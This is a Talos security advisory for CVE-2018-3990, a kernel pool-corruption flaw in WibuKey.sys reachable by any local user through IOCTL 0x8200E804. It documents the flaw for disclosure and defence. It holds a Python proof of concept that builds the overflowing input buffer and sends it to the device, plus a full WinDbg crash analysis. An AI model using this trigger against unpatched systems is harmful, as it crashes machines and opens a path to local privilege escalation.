Talos Vulnerability Report

TALOS-2018-0658

WIBU-SYSTEMS WibuKey.sys 0x8200E804 pool corruption privilege escalation vulnerability

January 28, 2019
CVE Number

CVE-2018-3990

Summary

An exploitable pool corruption vulnerability exists in the 0x8200E804 IOCTL handler functionality of WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400).

A specially crafted IRP request can cause a buffer overflow, resulting in kernel memory corruption and, potentially, privilege escalation. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

WIBU-SYSTEMS WibuKey.sys Version 6.40 (Build 2400) - Windows 7 x86

Product URLs

https://www.wibu.com/products/wibukey.html

CVSSv3 Score

9.3 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-787: Out-of-bounds Write

Details

WibuKey is a complete DRM solution that is used by many applications, such as Straton, Archicad, GRAPHISOFT, V-Ray and many more. Part of WibuKey solution is in hardwar, as well as WibuKey Runtime for Windows, which contains necessary Windows drivers and services. This advisory is for a vulnerability in the driver installed by the Windows package.

This vulnerability can be triggered by sending IOCTL requests to the WibuKey device. Here are the default access controls on the device that allow any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\WibuKey
\Device\WibuKey
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

A buffer overflow vulnerability that causes pool corruption is located in the IOCTL handler for the 0x8200E804 control code. The vulnerable function is:

Line 1 	int __stdcall sub_A382D0F0(struct_buffer_1 *buffer, struct_allocatedBuffer *allocatedBuffer)
Line 2 	{
Line 3 
Line 4 	  v4 = buffer->unsigned4;
Line 5 	  v5 = buffer->unsigned6;
Line 6 	  v6 = allocatedBuffer;
Line 7 	  _mm_storel_epi64(&allocatedBuffer->m128i0, (__m128i)0i64);
Line 8 	  v6->m128i0.m128i_i8[6] = v5;
Line 9 	  result = v5 - 16;
Line 10	  switch ( result )
Line 11	  {
Line 12	   (...)
Line 13		case 16:
Line 14		  v21 = buffer->dword14;
Line 15		  v22 = *(_DWORD *)&buffer->unsigned10;
Line 16		  if ( v22 > v21 )
Line 17			v22 = buffer->dword14;
Line 18		  if ( v4 >= v22 + 12 )
Line 19		  {
Line 20			memcpy((char *)&allocatedBuffer->m128i0.m128i_u64[1] + 4, &buffer->char18, v22);

The buffer represents the input buffer passed to the driver via the IRP request. ‘AllocatedBuffer is a buffer that is allocated with a size, and is based on the OutputBufferLength` specified by the caller.

As we can see at line 18, an integer overflow occurs and, as a result, we can pass this constraint with huge value of the v22 variable (bigger than v4).

Since all values for v22 and v21 come from a buffer passed by the user, their values are fully controllable. Bypassing the check at line 18 using an integer overflow, we end up at line 20 with the v22 variable having values in the range of 0xfffffff4 - 0xffffffff.

That vulnerability leads to pool corruption, and can be turned into arbitrary code execution and privilege escalation by the attacker.

Exploit Proof of Concept

def leak_memory(): fileName = u’\\.\WibuKey’ hFile = win32file.CreateFileW(fileName, win32con.GENERIC_READ |win32con.GENERIC_WRITE, 0, None, win32con.OPEN_EXISTING, 0 , None, 0) print “Handle ready : “,repr(hFile)

try:
	 ioctl = 0x8200E804
	 unsigned4    = random.randint(0,0xFFFF)            
	 outBufferLen = 0xC #FIXED
	 if outBufferLen < unsigned4:                 
		 unsigned4 = outBufferLen
		 
	 inputBuffer  = "XXXX" #gap
	 inputBuffer += struct.pack("<H",unsigned4) #unsigned4
	 inputBuffer += struct.pack("<B",32)   # unsigned6 FIXED
	 inputBuffer += "X" #gap
	 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword8
	 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dwordC
	 inputBuffer += struct.pack("<I",0xFFFFFFFE ) #unsigned10
	 inputBuffer += struct.pack("<I",0xFFFFFFFD )#dword14
	 inputBuffer += struct.pack("<B",random.randint(0,0xFF))#char18
	 inputBuffer += "XXX"
	 inputBuffer += struct.pack("<I",random.randint(0,0xFFFFFFFF) ) #dword1c
	 inputBuffer += struct.pack("<B",random.randint(0,0xFF) )
	 
	 inputBufferLen = len(inputBuffer)           
	 print "Time to send IOCTL : 0x%x" % ioctl
	 buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
except Exception as e:
	print e.message

Crash Information

*** Fatal System Error: 0x000000cd
					   (0xA3731000,0x00000001,0x82C807F3,0x00000000)

WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

Connected to Windows 7 7601 x86 compatible target at (Tue Aug 28 15:09:38.044 2018 (UTC + 2:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
................................................................
...............................
Loading User Symbols
..................................................
Loading unloaded module list
.....
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

Use !analyze -v to get detailed debugging information.

BugCheck CD, {a3731000, 1, 82c807f3, 0}

*** ERROR: Module load completed but symbols could not be loaded for WibuKey.sys
*** WARNING: Unable to verify checksum for win32file.pyd
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for win32file.pyd - 
Probably caused by : WibuKey.sys ( WibuKey+52c1 )

Followup:     MachineOwner
---------

nt!RtlpBreakWithStatusInstruction:
82cc2110 cc              int     3
kd> !analyze -v
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_BEYOND_END_OF_ALLOCATION (cd)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: a3731000, memory referenced
Arg2: 00000001, value 0 = read operation, 1 = write operation
Arg3: 82c807f3, if non-zero, the address which referenced memory.
Arg4: 00000000, Mm internal code.

Debugging Details:
------------------


KEY_VALUES_STRING: 1


STACKHASH_ANALYSIS: 1

TIMELINE_ANALYSIS: 1


DUMP_CLASS: 1

DUMP_QUALIFIER: 0

BUILD_VERSION_STRING:  7601.17514.x86fre.win7sp1_rtm.101119-1850

DUMP_TYPE:  0

BUGCHECK_P1: ffffffffa3731000

BUGCHECK_P2: 1

BUGCHECK_P3: ffffffff82c807f3

BUGCHECK_P4: 0

WRITE_ADDRESS:  a3731000 Special pool

FAULTING_IP: 
nt!memcpy+33
82c807f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

MM_INTERNAL_CODE:  0

CPU_COUNT: 1

CPU_MHZ: c81

CPU_VENDOR:  GenuineIntel

CPU_FAMILY: 6

CPU_MODEL: 4f

CPU_STEPPING: 1

CPU_MICROCODE: 6,4f,1,0 (F,M,S,R)  SIG: B000021'00000000 (cache) B000021'00000000 (init)

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0xCD

PROCESS_NAME:  python.exe

CURRENT_IRQL:  2

ANALYSIS_SESSION_HOST:  DESKTOP-E4N8506

ANALYSIS_SESSION_TIME:  08-28-2018 15:10:00.0279

ANALYSIS_VERSION: 10.0.18206.1001 amd64fre

TRAP_FRAME:  a1bd49ec -- (.trap 0xffffffffa1bd49ec)
ErrCode = 00000002
eax=8b5c8e95 ebx=a3730ffc ecx=3ffffffe edx=00000001 esi=8b5c8e9c edi=a3731000
eip=82c807f3 esp=a1bd4a60 ebp=a1bd4a68 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010202
nt!memcpy+0x33:
82c807f3 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope

LAST_CONTROL_TRANSFER:  from 82d26083 to 82cc2110

STACK_TEXT:  
a1bd4534 82d26083 00000003 60dccd9b 00000065 nt!RtlpBreakWithStatusInstruction
a1bd4584 82d26b81 00000003 87a9c540 00000002 nt!KiBugCheckDebugBreak+0x1c
a1bd4948 82cd541b 00000050 a3731000 00000001 nt!KeBugCheck2+0x68b
a1bd49d4 82c883d8 00000001 a3731000 00000000 nt!MmAccessFault+0x106
a1bd49d4 82c807f3 00000001 a3731000 00000000 nt!KiTrap0E+0xdc
a1bd4a68 82f8b2a1 a3730ffc 8b5c8e98 fffffffd nt!memcpy+0x33
a1bd4a88 96b132c1 a3730ffc 8b5c8e98 fffffffd nt!Verifiermemcpy+0x3e
WARNING: Stack unwind information not available. Following frames may be wrong.
a1bd4aa8 96b1cfa1 00000001 0000000c 96b12d38 WibuKey+0x52c1
a1bd4ab4 96b12d38 0000000c a3730ff0 8725a358 WibuKey+0xefa1
a1bd4adc 82f784d9 a210bad8 a205f008 8725a358 WibuKey+0x4d38
a1bd4b00 82c7e54a 82e7299f a205f008 a210ba20 nt!IovCallDriver+0x73
a1bd4b14 82e7299f 8725a358 a205f008 a205f078 nt!IofCallDriver+0x1b
a1bd4b34 82e75b71 a210ba20 8725a358 00000000 nt!IopSynchronousServiceTail+0x1f8
a1bd4bd0 82ebc3f4 a210ba20 a205f008 00000000 nt!IopXxxControlFile+0x6aa
a1bd4c04 82c851ea 000000a0 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
a1bd4c04 777070b4 000000a0 00000000 00000000 nt!KiFastCallEntry+0x12a
0021f98c 77705864 759e989d 000000a0 00000000 ntdll!KiFastSystemCallRet
0021f990 759e989d 000000a0 00000000 00000000 ntdll!ZwDeviceIoControlFile+0xc
0021f9f0 761da671 000000a0 8200e804 01d5cce4 KERNELBASE!DeviceIoControl+0xf6
0021fa1c 1ea11fd9 000000a0 8200e804 01d5cce4 kernel32!DeviceIoControlImplementation+0x80
00000000 00000000 00000000 00000000 00000000 win32file+0x1fd9


THREAD_SHA1_HASH_MOD_FUNC:  141b6c2e16af862151a0df26f8456bb2f5d1b067

THREAD_SHA1_HASH_MOD_FUNC_OFFSET:  fa85d9875de7d8856df2c96254754cdff060496f

THREAD_SHA1_HASH_MOD:  d46a340d9b1042cac75705a89fb9cf813334087e

FOLLOWUP_IP: 
WibuKey+52c1
96b132c1 83c40c          add     esp,0Ch

FAULT_INSTR_CODE:  850cc483

SYMBOL_STACK_INDEX:  7

SYMBOL_NAME:  WibuKey+52c1

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: WibuKey

IMAGE_NAME:  WibuKey.sys

DEBUG_FLR_IMAGE_TIMESTAMP:  5853cbb3

STACK_COMMAND:  .thread ; .cxr ; kb

FAILURE_BUCKET_ID:  0xCD_VRF_WibuKey+52c1

BUCKET_ID:  0xCD_VRF_WibuKey+52c1

PRIMARY_PROBLEM_CLASS:  0xCD_VRF_WibuKey+52c1

TARGET_TIME:  2018-08-28T13:07:25.000Z

OSBUILD:  7601

OSSERVICEPACK:  1000

SERVICEPACK_NUMBER: 0

OS_REVISION: 0

SUITE_MASK:  784

PRODUCT_TYPE:  1

OSPLATFORM_TYPE:  x86

OSNAME:  Windows 7

OSEDITION:  Windows 7 WinNt (Service Pack 1) TerminalServer SingleUserTS Personal

OS_LOCALE:  

USER_LCID:  0

OSBUILD_TIMESTAMP:  2010-11-20 09:42:49

BUILDDATESTAMP_STR:  101119-1850

BUILDLAB_STR:  win7sp1_rtm

BUILDOSVER_STR:  6.1.7601.17514.x86fre.win7sp1_rtm.101119-1850

ANALYSIS_SESSION_ELAPSED_TIME:  13b8

ANALYSIS_SOURCE:  KM

FAILURE_ID_HASH_STRING:  km:0xcd_vrf_wibukey+52c1

FAILURE_ID_HASH:  {f9836f4e-3d7b-f80c-4362-1fd3b7c43536}

Followup:     MachineOwner
---------

Timeline

2018-09-14 - Vendor Disclosure
2018-12-19 - Vendor Patch
2019-01-28 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.